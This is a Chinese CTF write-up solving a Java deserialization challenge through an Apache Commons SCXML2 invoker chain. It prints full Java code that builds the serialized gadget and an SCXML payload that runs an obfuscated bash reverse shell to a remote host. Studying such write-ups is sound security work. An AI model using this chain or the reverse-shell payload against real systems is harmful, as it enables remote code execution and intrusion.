作者:Narcher 时间:2024/9/13 分类:writeup
[Fin] scxml
前言
看见有java题没人做,于是便做了做,感觉还行,直到比赛结束只有三解
正文
N1师傅的题,难度刚刚好
先下载附件看看:
有一个自定义的包n1ght.jar,打开分析一下:
自定义写了个类,并含有toString方法,再看看Main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import com.sun.net.httpserver.HttpServer; import javax.naming.InitialContext; import java.io.IOException;
public class Main { public static void main(String[] args) throws IOException { var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000")); var server = HttpServer.create(new java.net.InetSocketAddress(port), 0); server.createContext("/", req -> { var code = 200; var response = switch (req.getRequestURI().getPath()) { case "/scxml" -> { try { var param = req.getRequestURI().getQuery(); yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString(); } catch (Throwable e) { e.printStackTrace(); yield ":("; } } default -> { code = 404; yield "Not found"; } }; req.sendResponseHeaders(code, 0); var os = req.getResponseBody(); os.write(response.getBytes()); os.close(); }); server.start(); System.out.printf("Server listening on :%s\n", port); } }
|
发现在/scxml路由下对查询的参数进行了Base64解密,并在反序列化后执行了toString方法,再联想到上边那个自定义包里的类,八成是用那个InvokerImpl类作为入口点,再结合下边的依赖以及题目名字,不难想到scxml的RCE漏洞:Apache SCXML2 RCE漏洞_scxml scxmlexecutor-CSDN博客
当然,我们还是回到上边继续跟题目来:
InvokerImpl的构造器要求传入三个参数,第一个Invoker有点可疑,点进去看看:
发现是个接口,那么我们去找找它的实现类,结果发现只有一个SimpleSCXMLInvoker类,结合上边贴出来的那个漏洞,打就完了
因为InvokerImpl触发的是SimpleSCXMLInvoker类的invoke方法,我们看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| public void invoke(String source, Map<String, Object> params) throws InvokerException { SCXML scxml = null; try { scxml = SCXMLReader.read(new URL(source)); } catch (ModelException var9) { throw new InvokerException(var9.getMessage(), var9.getCause()); } catch (IOException var10) { throw new InvokerException(var10.getMessage(), var10.getCause()); } catch (XMLStreamException var11) { throw new InvokerException(var11.getMessage(), var11.getCause()); }
Evaluator eval = this.parentSCInstance.getEvaluator(); this.executor = new SCXMLExecutor(eval, new SimpleDispatcher(), new SimpleErrorReporter()); Context rootCtx = eval.newContext((Context)null); Iterator var6 = params.entrySet().iterator();
while(var6.hasNext()) { Map.Entry<String, Object> entry = (Map.Entry)var6.next(); rootCtx.setLocal((String)entry.getKey(), entry.getValue()); }
this.executor.setRootContext(rootCtx); this.executor.setStateMachine(scxml); this.executor.addListener(scxml, new SimpleSCXMLListener()); this.executor.registerInvokerClass("scxml", this.getClass());
try { this.executor.go(); } catch (ModelException var8) { throw new InvokerException(var8.getMessage(), var8.getCause()); }
if (this.executor.getCurrentStatus().isFinal()) { TriggerEvent te = new TriggerEvent(this.eventPrefix + invokeDone, 3); (new AsyncTrigger(this.parentSCInstance.getExecutor(), te)).start(); } }
|
很简单的逻辑,对我们传入的source进行URL查询后,解析所得的xml文件并执行,其实到this.executor.go();
就结束了,之后注意一下前边调用到的参数都一一传参避免在前边报错就好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import com.n1ght.InvokerImpl; import org.apache.commons.scxml2.SCInstance; import org.apache.commons.scxml2.SCXMLExecutor; import org.apache.commons.scxml2.env.SimpleContext; import org.apache.commons.scxml2.env.SimpleErrorReporter; import org.apache.commons.scxml2.env.jexl.JexlEvaluator; import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception { SCXMLExecutor executor = new SCXMLExecutor(); executor.setRootContext(new SimpleContext()); executor.setEvaluator(new JexlEvaluator()); executor.setErrorReporter(new SimpleErrorReporter()); Class c = Class.forName("org.apache.commons.scxml2.SCInstance"); Constructor constructor = c.getDeclaredConstructor(SCXMLExecutor.class); constructor.setAccessible(true); SCInstance scInstance = (SCInstance) constructor.newInstance(executor); setValue(scInstance,"evaluator", new JexlEvaluator()); SimpleSCXMLInvoker simpleSCXMLInvoker = new SimpleSCXMLInvoker(); simpleSCXMLInvoker.setSCInstance(scInstance); Map<String, Object> params = new HashMap<>(); params.put("Narcher","Alter"); InvokerImpl invoker = new InvokerImpl(simpleSCXMLInvoker,"http://1.1.1.1:6666/scxml2.xml",params); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(invoker); oos.close(); System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray()))); } public static void setValue(Object obj,String name,Object value)throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
其中scxml2.xml内容如下(记得自己改vps地址):
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <state id="run"> <onentry> <script> ''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc3NzcgMD4mMQo=}|{base64,-d}|{bash,-i}') </script> </onentry> </state> </scxml>
|
之后用我上边的链子打就完了(记得url编码),下面附上图:
成功反弹shell并命令执行获得flag
小结
本题的难度在于网上没有现成的payload,从头自己找一条链子对于大多数脚本小子来说可能有些难度,其次就是没注意到应该把链子放在传参的key上或者是在自己构造链子的时候各种地方漏了赋值等等,题目总的来说还挺好玩的
最后贴上一血: